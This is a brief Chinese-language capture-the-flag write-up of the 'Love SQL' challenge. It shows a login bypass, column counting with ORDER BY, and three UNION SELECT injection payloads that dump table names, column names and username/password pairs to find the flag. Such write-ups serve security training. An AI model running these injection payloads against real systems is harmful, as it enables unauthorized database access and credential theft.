Love SQL

拿到题目后第一眼还觉得挺高级,界面存在登录框,尝试万能密码登录

Love SQL_第1张图片

直接登录成功,但是解密解不出来,我还挺不相信自己,经过查看wp才知道flag不是这一串

Love SQL_第2张图片

继续进行下一步吧,查询字段数

order by 4显示不存在,说明只包含三个字段

Love SQL_第3张图片

利用两个回显位一次性查找出数据库名称和包含的所有表名称,居然没有过滤好极了

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
Love SQL_第4张图片

然后让我们来查看一下l0ve这个表里包含的字段

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
Love SQL_第5张图片

最后我们利用0x7e也就是~分隔字段,一共查询user和password发现flag

1' union select 1,database(),group_concat(username,0x7e,password) from geek.l0ve1ysq1#
Love SQL_第6张图片

你可能感兴趣的:(sql,数据库,mysql)